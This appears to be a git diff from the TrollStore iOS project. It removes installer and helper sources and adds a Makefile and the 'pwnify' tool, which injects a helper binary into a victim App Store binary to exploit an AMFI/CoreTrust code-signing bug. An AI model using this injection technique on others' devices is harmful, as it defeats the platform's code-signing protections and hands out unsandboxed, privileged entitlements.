mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon72x72.png b/Installer/TrollInstaller2/Resources/AppIcon72x72.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon72x72@2x.png b/Installer/TrollInstaller2/Resources/AppIcon72x72@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon76x76.png b/Installer/TrollInstaller2/Resources/AppIcon76x76.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/AppIcon76x76@2x.png b/Installer/TrollInstaller2/Resources/AppIcon76x76@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Installer/TrollInstaller2/Resources/Info.plist b/Installer/TrollInstaller2/Resources/Info.plist deleted file mode 100644 index 3e93310..0000000 --- a/Installer/TrollInstaller2/Resources/Info.plist +++ /dev/null @@ -1,154 +0,0 @@ - - - - - CFBundleExecutable - TrollInstaller2 - CFBundleIcons - - CFBundlePrimaryIcon - - CFBundleIconFiles - - AppIcon29x29 - AppIcon40x40 - AppIcon57x57 - AppIcon60x60 - - UIPrerenderedIcon - - - - CFBundleIcons~ipad - - CFBundlePrimaryIcon - - CFBundleIconFiles - - AppIcon29x29 - AppIcon40x40 - AppIcon57x57 - AppIcon60x60 - AppIcon50x50 - AppIcon72x72 - AppIcon76x76 - - UIPrerenderedIcon - - - - CFBundleIdentifier - com.opa334.trollinstaller2 - CFBundleInfoDictionaryVersion - 6.0 - CFBundlePackageType - APPL - CFBundleSignature - ???? - CFBundleSupportedPlatforms - - iPhoneOS - - CFBundleVersion - 1.0 - LSRequiresIPhoneOS - - UIDeviceFamily - - 1 - 2 - - UIRequiredDeviceCapabilities - - armv7 - - UILaunchImageFile - LaunchImage - UILaunchImages - - - UILaunchImageMinimumOSVersion - 7.0 - UILaunchImageName - LaunchImage - UILaunchImageOrientation - Portrait - UILaunchImageSize - {320, 480} - - - UILaunchImageMinimumOSVersion - 7.0 - UILaunchImageName - LaunchImage-700-568h - UILaunchImageOrientation - Portrait - UILaunchImageSize - {320, 568} - - - UILaunchImageMinimumOSVersion - 7.0 - UILaunchImageName - LaunchImage-Portrait - UILaunchImageOrientation - Portrait - UILaunchImageSize - {768, 1024} - - - UILaunchImageMinimumOSVersion - 7.0 - UILaunchImageName - LaunchImage-Landscape - UILaunchImageOrientation - Landscape - UILaunchImageSize - {768, 1024} - - - UILaunchImageMinimumOSVersion - 8.0 - UILaunchImageName - LaunchImage-800-667h - UILaunchImageOrientation - Portrait - UILaunchImageSize - {375, 667} - - - UILaunchImageMinimumOSVersion - 8.0 - UILaunchImageName - LaunchImage-800-Portrait-736h - UILaunchImageOrientation - Portrait - UILaunchImageSize - {414, 736} - - - UILaunchImageMinimumOSVersion - 8.0 - UILaunchImageName - LaunchImage-800-Landscape-736h - UILaunchImageOrientation - Landscape - UILaunchImageSize - {414, 736} - - - UISupportedInterfaceOrientations - - UIInterfaceOrientationPortrait - UIInterfaceOrientationLandscapeLeft - UIInterfaceOrientationLandscapeRight - - UISupportedInterfaceOrientations~ipad - - UIInterfaceOrientationPortrait - UIInterfaceOrientationPortraitUpsideDown - UIInterfaceOrientationLandscapeLeft - UIInterfaceOrientationLandscapeRight - - - diff --git a/Installer/TrollInstaller2/TSI2AppDelegateNoScene.h b/Installer/TrollInstaller2/TSI2AppDelegateNoScene.h deleted file mode 100644 index 621ac54..0000000 --- a/Installer/TrollInstaller2/TSI2AppDelegateNoScene.h +++ /dev/null @@ -1,7 +0,0 @@ - -#import - -@interface TSI2AppDelegateNoScene : UIResponder -@property (nonatomic, strong) UIWindow *window; -@property (nonatomic, strong) UINavigationController *rootViewController; -@end \ No newline at end of file diff --git a/Installer/TrollInstaller2/TSI2AppDelegateNoScene.m b/Installer/TrollInstaller2/TSI2AppDelegateNoScene.m deleted file mode 100644 index a9c643c..0000000 --- a/Installer/TrollInstaller2/TSI2AppDelegateNoScene.m +++ /dev/null @@ -1,14 +0,0 @@ -#import "TSI2AppDelegateNoScene.h" -#import "TSI2RootViewController.h" - -@implementation TSI2AppDelegateNoScene - -- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { - _window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; - _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSI2RootViewController alloc] init]]; - _window.rootViewController = _rootViewController; - [_window makeKeyAndVisible]; - return YES; -} - -@end \ No newline at end of file diff --git a/Installer/TrollInstaller2/TSI2AppDelegateWithScene.h b/Installer/TrollInstaller2/TSI2AppDelegateWithScene.h deleted file mode 100644 index 61bff32..0000000 --- a/Installer/TrollInstaller2/TSI2AppDelegateWithScene.h +++ /dev/null @@ -1,6 +0,0 @@ - -#import - -@interface TSI2AppDelegateWithScene : UIResponder - -@end \ No newline at end of file diff --git a/Installer/TrollInstaller2/TSI2RootViewController.h b/Installer/TrollInstaller2/TSI2RootViewController.h deleted file mode 100644 index 3e85dd9..0000000 --- a/Installer/TrollInstaller2/TSI2RootViewController.h +++ /dev/null @@ -1,7 +0,0 @@ -#import "../../Store/TSListControllerShared.h" - -@interface TSI2RootViewController : TSListControllerShared -{ - NSString* _newerVersion; -} -@end diff --git a/Installer/TrollInstaller2/TSI2RootViewController.m b/Installer/TrollInstaller2/TSI2RootViewController.m deleted file mode 100644 index e583b62..0000000 --- a/Installer/TrollInstaller2/TSI2RootViewController.m +++ /dev/null @@ -1,96 +0,0 @@ -#import "TSI2RootViewController.h" -#import "../../Helper/Shared.h" -#import "../../Store/TSUtil.h" - -@implementation TSI2RootViewController - -- (NSMutableArray*)specifiers -{ - if(!_specifiers) - { - _specifiers = [NSMutableArray new]; - - BOOL isInstalled = trollStoreAppPath(); - - PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; - [_specifiers addObject:utilitiesGroupSpecifier]; - [utilitiesGroupSpecifier setProperty:@"Based on the Fugu15 install method\nMassive shoutouts to @LinusHenze\n\n© 2022 Lars Fröder (opa334)" forKey:@"footerText"]; - - if(isInstalled) - { - PSSpecifier* alreadyInstalledSpecifier = [PSSpecifier preferenceSpecifierNamed:@"TrollStore already installed" - target:self - set:nil - get:nil - detail:nil - cell:PSStaticTextCell - edit:nil]; - alreadyInstalledSpecifier.identifier = @"alreadyInstalled"; - [alreadyInstalledSpecifier setProperty:@YES forKey:@"enabled"]; - [_specifiers addObject:alreadyInstalledSpecifier]; - } - else - { - PSSpecifier* installTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install TrollStore" - target:self - set:nil - get:nil - detail:nil - cell:PSButtonCell - edit:nil]; - installTrollStoreSpecifier.identifier = @"installTrollStore"; - [installTrollStoreSpecifier setProperty:@YES forKey:@"enabled"]; - installTrollStoreSpecifier.buttonAction = @selector(installTrollStorePressed); - [_specifiers addObject:installTrollStoreSpecifier]; - } - } - - [(UINavigationItem *)self.navigationItem setTitle:@"TrollStore Installer 2"]; - return _specifiers; -} - -extern NSString* safe_getExecutablePath(); -- (void)installTrollStorePressed -{ - [self startActivity:@"Installing TrollStore"]; - - [self downloadTrollStoreAndDo:^(NSString* tmpTarPath) - { - int ret = spawnRoot(safe_getExecutablePath(), @[@"install-trollstore", tmpTarPath], nil, nil); - [[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil]; - if(ret == 0) - { - respring(); - - if([self isTrollStore]) - { - exit(0); - } - else - { - dispatch_async(dispatch_get_main_queue(), ^ - { - [self stopActivityWithCompletion:^ - { - [self reloadSpecifiers]; - }]; - }); - } - } - else - { - dispatch_async(dispatch_get_main_queue(), ^ - { - [self stopActivityWithCompletion:^ - { - UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error installing TrollStore: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert]; - UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; - [errorAlert addAction:closeAction]; - [self presentViewController:errorAlert animated:YES completion:nil]; - }]; - }); - } - }]; -} - -@end diff --git a/Installer/TrollInstaller2/control b/Installer/TrollInstaller2/control deleted file mode 100644 index 99de665..0000000 --- a/Installer/TrollInstaller2/control +++ /dev/null @@ -1,8 +0,0 @@ -Package: com.opa334.trollinstaller2 -Name: TrollInstaller2 -Version: 2.0.0 -Architecture: iphoneos-arm -Description: TrollInstaller v2! -Maintainer: opa334 -Author: opa334 -Section: Utilities diff --git a/LICENSE b/LICENSE index d8cbdf5..0bfb9cb 100644 --- a/LICENSE +++ b/LICENSE @@ -7,16 +7,12 @@ Files: * Copyright: 2022 Lars Fröder License: MIT -Files: Helper/uicache.m +Files: RootHelper/uicache.m Copyright: Copyright (c) 2019 CoolStar, Modified work Copyright (c) 2020-2022 Procursus Team Modified work Copyright (c) 2022 Lars Fröder License: BSD-4-Clause -Files: Installer/TrollInstaller/exploit -Copyright: Copyright (c) 2022 John Åkerblom, -License: All rights reserved - License: BSD-4-Clause Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..6292bc5 --- /dev/null +++ b/Makefile @@ -0,0 +1,68 @@ +TOPTARGETS := all clean + +$(TOPTARGETS): pre-build make_roothelper make_trollstore make_trollhelper make_trollhelper_package assemble_trollstore make_trollhelper_embedded build_installer15 build_installer64e + +pre-build: + @rm -rf ./_build 2>/dev/null || true + @mkdir -p ./_build + +make_roothelper: + @$(MAKE) -C ./RootHelper FINALPACKAGE=1 $(MAKECMDGOALS) + +make_trollstore: + @$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS) + +make_trollhelper: + @$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS) + +ifneq ($(MAKECMDGOALS),clean) + +make_trollhelper_package: + @$(MAKE) clean -C ./TrollHelper + @cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper + @$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS) + @rm ./TrollHelper/Resources/trollstorehelper + +make_trollhelper_embedded: + @$(MAKE) clean -C ./TrollHelper + @$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS) + +assemble_trollstore: + @cp cert.p12 ./TrollStore/.theos/obj/TrollStore.app/cert.p12 + @cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper + @cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper + @export COPYFILE_DISABLE=1 + @tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app + +build_installer15: + @mkdir -p ./_build/tmp15 + @unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15 + @cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/TrollStorePersistenceHelperToInject + @pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1 + @ldid -s -K./Victim/victim_gta.p12 ./_build/TrollStorePersistenceHelperToInject + APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \ + APP_NAME=$$(basename $$APP_PATH) ; \ + BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \ + echo $$BINARY_NAME ; \ + pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject + @pushd ./_build/tmp15 ; \ + zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \ + popd + @rm ./_build/TrollStorePersistenceHelperToInject + @rm -rf ./_build/tmp15 + +build_installer64e: + @mkdir -p ./_build/tmp64e + @unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e + APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \ + APP_NAME=$$(basename $$APP_PATH) ; \ + BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \ + echo $$BINARY_NAME ; \ + pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper + @pushd ./_build/tmp64e ; \ + zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \ + popd + @rm -rf ./_build/tmp64e +endif + +.PHONY: $(TOPTARGETS) pre-build assemble_trollstore make_trollhelper_package make_trollhelper_embedded build_installer15 build_installer64e \ No newline at end of file diff --git a/PersistenceHelper/Makefile b/PersistenceHelper/Makefile deleted file mode 100644 index 6d5bdad..0000000 --- a/PersistenceHelper/Makefile +++ /dev/null @@ -1,17 +0,0 @@ -TARGET := iphone:clang:14.5:14.0 -INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper - -include $(THEOS)/makefiles/common.mk - -APPLICATION_NAME = TrollStorePersistenceHelper - -TrollStorePersistenceHelper_FILES = $(wildcard *.m) ../Helper/Shared.m ../Store/TSUtil.m ../Store/TSListControllerShared.m -TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices -TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences -TrollStorePersistenceHelper_CFLAGS = -fobjc-arc -TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist - -include $(THEOS_MAKE_PATH)/application.mk - -internal-stage:: - ldid -S -M -K../_compile/cert.p12 $(THEOS_STAGING_DIR)/Applications/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper \ No newline at end of file diff --git a/PersistenceHelper/TSPHRootViewController.h b/PersistenceHelper/TSPHRootViewController.h deleted file mode 100644 index d2921c8..0000000 --- a/PersistenceHelper/TSPHRootViewController.h +++ /dev/null @@ -1,7 +0,0 @@ -#import "../Store/TSListControllerShared.h" - -@interface TSPHRootViewController : TSListControllerShared -{ - NSString* _newerVersion; -} -@end diff --git a/PersistenceHelper/entitlements.plist b/PersistenceHelper/entitlements.plist deleted file mode 100644 index 7a6c5fa..0000000 --- a/PersistenceHelper/entitlements.plist +++ /dev/null @@ -1,41 +0,0 @@ - - - - - application-identifier - com.opa334.TrollStore - platform-application - - com.apple.security.exception.files.absolute-path.read-write - - / - - com.apple.private.security.no-sandbox - - com.apple.private.persona-mgmt - - com.apple.private.security.system-application - - com.apple.private.security.container-manager - - com.apple.private.coreservices.canmaplsdatabase - - com.apple.lsapplicationworkspace.rebuildappdatabases - - com.apple.private.MobileContainerManager.allowed - - com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled - - com.apple.private.MobileInstallationHelperService.allowed - - com.apple.private.uninstall.deletion - - com.apple.CommCenter.fine-grained - - cellular-plan - data-usage - data-allowed-write - preferences-write - - - \ No newline at end of file diff --git a/PersistenceHelper/main.m b/PersistenceHelper/main.m deleted file mode 100644 index d896872..0000000 --- a/PersistenceHelper/main.m +++ /dev/null @@ -1,12 +0,0 @@ -#import -#import "TSPHAppDelegate.h" -#import "../Store/TSUtil.h" - -int main(int argc, char *argv[]) { - @autoreleasepool { - NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"]; - [mcmBundle load]; - chineseWifiFixup(); - return UIApplicationMain(argc, argv, nil, NSStringFromClass(TSPHAppDelegate.class)); - } -} diff --git a/Pwnify/Makefile b/Pwnify/Makefile new file mode 100644 index 0000000..20c3d10 --- /dev/null +++ b/Pwnify/Makefile @@ -0,0 +1,9 @@ +pwnify: + @clang main.m -fobjc-arc -fmodules -mmacosx-version-min=11.0 -o pwnify + +install: pwnify + -@sudo rm /usr/local/bin/pwnify 2>/dev/null || true + @sudo cp ./pwnify /usr/local/bin/pwnify + +clean: + @rm ./pwnify 2>/dev/null || true \ No newline at end of file diff --git a/Pwnify/main.m b/Pwnify/main.m new file mode 100644 index 0000000..4843bc1 --- /dev/null +++ b/Pwnify/main.m @@ -0,0 +1,417 @@ +// +// main.m +// pwnify-universal +// +// Created by Lars Fröder on 08.10.22. +// + +#import + +#import +#import +#import + +#define ALIGN_DEFAULT 0xE + +uint32_t roundUp(int numToRound, int multiple) +{ + if (multiple == 0) + return numToRound; + + int remainder = numToRound % multiple; + if (remainder == 0) + return numToRound; + + return numToRound + multiple - remainder; +} + +void expandFile(FILE* file, uint32_t size) +{ + fseek(file, 0, SEEK_END); + if(ftell(file) >= size) return; + + while(ftell(file) != size) + { + char c = 0; + fwrite(&c, 1, 1, file); + } +} + +void copyData(FILE* sourceFile, FILE* targetFile, size_t size) +{ + for(size_t i = 0; i < size; i++) + { + char b; + fread(&b, 1, 1, sourceFile); + fwrite(&b, 1, 1, targetFile); + } +} + +void enumerateArchs(NSString* binaryPath, void (^archEnumBlock)(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop)) +{ + FILE* machoFile = fopen(binaryPath.UTF8String, "rb"); + if(!machoFile) return; + + struct mach_header header; + fread(&header,sizeof(header),1,machoFile); + + if(header.magic == FAT_MAGIC || header.magic == FAT_CIGAM) + { + fseek(machoFile,0,SEEK_SET); + struct fat_header fatHeader; + fread(&fatHeader,sizeof(fatHeader),1,machoFile); + + for(int i = 0; i < OSSwapBigToHostInt32(fatHeader.nfat_arch); i++) + { + uint32_t archFileOffset = sizeof(fatHeader) + sizeof(struct fat_arch) * i; + struct fat_arch fatArch; + fseek(machoFile, archFileOffset,SEEK_SET); + fread(&fatArch,sizeof(fatArch),1,machoFile); + + uint32_t sliceFileOffset = OSSwapBigToHostInt32(fatArch.offset); + struct mach_header archHeader; + fseek(machoFile, sliceFileOffset, SEEK_SET); + fread(&archHeader,sizeof(archHeader),1,machoFile); + + BOOL stop = NO; + archEnumBlock(&fatArch, archFileOffset, &archHeader, sliceFileOffset, machoFile, &stop); + if(stop) break; + } + } + else if(header.magic == MH_MAGIC_64 || header.magic == MH_CIGAM_64) + { + BOOL stop; + archEnumBlock(NULL, 0, &header, 0, machoFile, &stop); + } + + fclose(machoFile); +} + +void printArchs(NSString* binaryPath) +{ + __block int i = 0; + enumerateArchs(binaryPath, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + if(arch) + { + printf("%d. fatArch type: 0x%X, subtype: 0x%X, align:0x%X, size:0x%X, offset:0x%X\n| ", i, OSSwapBigToHostInt32(arch->cputype), OSSwapBigToHostInt32(arch->cpusubtype), OSSwapBigToHostInt32(arch->align), OSSwapBigToHostInt32(arch->size), OSSwapBigToHostInt32(arch->offset)); + } + printf("machHeader type: 0x%X, subtype: 0x%X\n", OSSwapLittleToHostInt32(machHeader->cputype), OSSwapLittleToHostInt32(machHeader->cpusubtype)); + + i++; + }); +} + +void pwnify(NSString* appStoreBinary, NSString* binaryToInject, BOOL preferArm64e) +{ + NSString* tmpFilePath = [NSTemporaryDirectory() stringByAppendingString:[[NSUUID UUID] UUIDString]]; + + // Determine amount of slices in output + __block int slicesCount = 1; + enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + slicesCount++; + }); + + // Allocate FAT data + uint32_t fatDataSize = sizeof(struct fat_header) + slicesCount * sizeof(struct fat_arch); + char* fatData = malloc(fatDataSize); + + // Construct new fat header + struct fat_header fatHeader; + fatHeader.magic = OSSwapHostToBigInt32(0xCAFEBABE); + fatHeader.nfat_arch = OSSwapHostToBigInt32(slicesCount); + memcpy(&fatData[0], &fatHeader, sizeof(fatHeader)); + + uint32_t align = pow(2, ALIGN_DEFAULT); + __block uint32_t curOffset = align; + __block uint32_t curArchIndex = 0; + + // Construct new fat arch data + enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + struct fat_arch newArch; + if(arch) + { + newArch.cputype = arch->cputype; + + if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C) + { + newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e + } + else + { + newArch.cpusubtype = arch->cpusubtype; + } + + newArch.size = arch->size; + } + else + { + newArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype)); + + if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C) + { + newArch.cpusubtype = OSSwapHostToBigInt32(2); // SET app store binary in FAT header to 2, fixes arm64e + } + else + { + newArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype)); + } + + newArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:appStoreBinary error:nil] fileSize]); + } + + newArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT); + newArch.offset = OSSwapHostToBigInt32(curOffset); + curOffset += roundUp(OSSwapBigToHostInt32(newArch.size), align); + + memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], &newArch, sizeof(newArch)); + curArchIndex++; + }); + + // Determine what slices our injection binary contains + __block BOOL toInjectHasArm64e = NO; + __block BOOL toInjectHasArm64 = NO; + enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + if(arch) + { + if(OSSwapBigToHostInt32(arch->cputype) == 0x100000C) + { + if (!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x2) & 0xFFFFFF)) + { + toInjectHasArm64e = YES; + } + else if(!((OSSwapBigToHostInt32(arch->cpusubtype) ^ 0x1) & 0xFFFFFF)) + { + toInjectHasArm64 = YES; + } + } + } + else + { + if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C) + { + if (!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x2) & 0xFFFFFF)) + { + toInjectHasArm64e = YES; + } + else if(!((OSSwapLittleToHostInt32(machHeader->cpusubtype) ^ 0x1) & 0xFFFFFF)) + { + toInjectHasArm64 = YES; + } + } + } + }); + + if(!toInjectHasArm64 && !preferArm64e) + { + printf("ERROR: can't proceed injection because binary to inject has no arm64 slice\n"); + return; + } + + uint32_t subtypeToUse = 0x1; + if(preferArm64e && toInjectHasArm64e) + { + subtypeToUse = 0x2; + } + + enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + struct fat_arch currentArch; + if(arch) + { + currentArch.cputype = arch->cputype; + currentArch.cpusubtype = arch->cpusubtype; + currentArch.size = arch->size; + } + else + { + currentArch.cputype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cputype)); + currentArch.cpusubtype = OSSwapHostToBigInt(OSSwapLittleToHostInt32(machHeader->cpusubtype)); + currentArch.size = OSSwapHostToBigInt((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]); + } + + if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C) + { + if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF)) + { + currentArch.align = OSSwapHostToBigInt32(ALIGN_DEFAULT); + currentArch.offset = OSSwapHostToBigInt32(curOffset); + curOffset += roundUp(OSSwapBigToHostInt32(currentArch.size), align); + memcpy(&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex], ¤tArch, sizeof(currentArch)); + curArchIndex++; + *stop = YES; + } + } + }); + + // FAT Header constructed, now write to file and then write the slices themselves + + FILE* tmpFile = fopen(tmpFilePath.UTF8String, "wb"); + fwrite(&fatData[0], fatDataSize, 1, tmpFile); + + curArchIndex = 0; + enumerateArchs(appStoreBinary, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex]; + + expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset)); + + uint32_t offset = 0; + uint32_t size = 0; + + if(arch) + { + offset = OSSwapBigToHostInt32(arch->offset); + size = OSSwapBigToHostInt32(arch->size); + } + else + { + size = OSSwapBigToHostInt32(toWriteArch->size); + } + + FILE* appStoreBinaryFile = fopen(appStoreBinary.UTF8String, "rb"); + fseek(appStoreBinaryFile, offset, SEEK_SET); + copyData(appStoreBinaryFile, tmpFile, size); + fclose(appStoreBinaryFile); + curArchIndex++; + }); + + struct fat_arch* toWriteArch = (struct fat_arch*)&fatData[sizeof(fatHeader) + sizeof(struct fat_arch)*curArchIndex]; + enumerateArchs(binaryToInject, ^(struct fat_arch* arch, uint32_t archFileOffset, struct mach_header* machHeader, uint32_t sliceFileOffset, FILE* file, BOOL* stop) { + struct fat_arch currentArch; + if(arch) + { + currentArch.cputype = arch->cputype; + currentArch.cpusubtype = arch->cpusubtype; + currentArch.size = arch->size; + } + else + { + currentArch.cputype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cputype)); + currentArch.cpusubtype = OSSwapHostToBigInt32(OSSwapLittleToHostInt32(machHeader->cpusubtype)); + currentArch.size = OSSwapHostToBigInt32((uint32_t)[[[NSFileManager defaultManager] attributesOfItemAtPath:binaryToInject error:nil] fileSize]); + } + + if(OSSwapBigToHostInt32(currentArch.cputype) == 0x100000C) + { + if (!((OSSwapBigToHostInt32(currentArch.cpusubtype) ^ subtypeToUse) & 0xFFFFFF)) + { + expandFile(tmpFile, OSSwapBigToHostInt32(toWriteArch->offset)); + + uint32_t offset = 0; + uint32_t size = 0; + + if(arch) + { + offset = OSSwapBigToHostInt32(arch->offset); + size = OSSwapBigToHostInt32(arch->size); + } + else + { + size = OSSwapBigToHostInt32(toWriteArch->size); + } + + FILE* binaryToInjectFile = fopen(binaryToInject.UTF8String, "rb"); + fseek(binaryToInjectFile, offset, SEEK_SET); + copyData(binaryToInjectFile, tmpFile, size); + fclose(binaryToInjectFile); + *stop = YES; + } + } + }); + + fclose(tmpFile); + chmod(tmpFilePath.UTF8String, 0755); + + [[NSFileManager defaultManager] removeItemAtPath:appStoreBinary error:nil]; + [[NSFileManager defaultManager] moveItemAtPath:tmpFilePath toPath:appStoreBinary error:nil]; +} + +void setCPUSubtype(NSString* binaryPath, uint32_t subtype) +{ + FILE* binaryFile = fopen(binaryPath.UTF8String, "rb+"); + if(!binaryFile) + { + printf("ERROR: File not found\n"); + return; + } + + enumerateArchs(binaryPath, ^(struct fat_arch *arch, uint32_t archFileOffset, struct mach_header *machHeader, uint32_t sliceFileOffset, FILE *file, BOOL *stop) { + + if(arch) + { + if(OSSwapBigToHostInt(arch->cputype) == 0x100000C) + { + if(OSSwapBigToHostInt(arch->cpusubtype) == 0x0) + { + arch->cpusubtype = OSSwapHostToBigInt32(subtype); + fseek(binaryFile, archFileOffset, SEEK_SET); + fwrite(arch, sizeof(struct fat_arch), 1, binaryFile); + } + } + } + + if(OSSwapLittleToHostInt32(machHeader->cputype) == 0x100000C) + { + if(OSSwapLittleToHostInt32(machHeader->cpusubtype) == 0x0) + { + machHeader->cpusubtype = OSSwapHostToLittleInt32(subtype); + fseek(binaryFile, sliceFileOffset, SEEK_SET); + fwrite(machHeader, sizeof(struct mach_header), 1, binaryFile); + } + } + }); + + fclose(binaryFile); +} + +void printUsageAndExit(void) +{ + printf("Usage:\n\nPrint architectures of a binary:\npwnify print \n\nInject target slice into victim binary:\npwnify pwn(64e) \n\nModify cpusubtype of a non FAT binary:\npwnify set-cpusubtype \n"); + exit(0); +} + +int main(int argc, const char * argv[]) { + @autoreleasepool { + if(argc < 3) + { + printUsageAndExit(); + } + + NSString* operation = [NSString stringWithUTF8String:argv[1]]; + + if([operation isEqualToString:@"print"]) + { + NSString* binaryToPrint = [NSString stringWithUTF8String:argv[2]]; + printArchs(binaryToPrint); + } + else if([operation isEqualToString:@"pwn"]) + { + if(argc < 4) printUsageAndExit(); + NSString* victimBinary = [NSString stringWithUTF8String:argv[2]]; + NSString* targetBinary = [NSString stringWithUTF8String:argv[3]]; + pwnify(victimBinary, targetBinary, NO); + } + else if([operation isEqualToString:@"pwn64e"]) + { + if(argc < 4) printUsageAndExit(); + NSString* victimBinary = [NSString stringWithUTF8String:argv[2]]; + NSString* targetBinary = [NSString stringWithUTF8String:argv[3]]; + pwnify(victimBinary, targetBinary, YES); + } + else if([operation isEqualToString:@"set-cpusubtype"]) + { + if(argc < 4) printUsageAndExit(); + NSString* binaryToModify = [NSString stringWithUTF8String:argv[2]]; + NSString* subtypeToSet = [NSString stringWithUTF8String:argv[3]]; + + NSNumberFormatter* f = [[NSNumberFormatter alloc] init]; + f.numberStyle = NSNumberFormatterDecimalStyle; + NSNumber* subtypeToSetNum = [f numberFromString:subtypeToSet]; + + setCPUSubtype(binaryToModify, [subtypeToSetNum unsignedIntValue]); + } + else + { + printUsageAndExit(); + } + } + return 0; +} diff --git a/README.md b/README.md index 13d50d5..abe4193 100644 --- a/README.md +++ b/README.md @@ -2,13 +2,35 @@ TrollStore is a permasigned jailed app that can permanently install any IPA you open in it. -It works because of the CoreTrust bug that **_ONLY_** affects iOS 14.0 - 15.4.1 (15.5b4). +It works because of an AMFI/CoreTrust bug where it doesn't verify whether a root certificate used to sign a binary is legit. -**NOTE: TrollStore will _NEVER_ work on anything higher than iOS 15.5 beta 4 (No not on iOS 15.5, not on 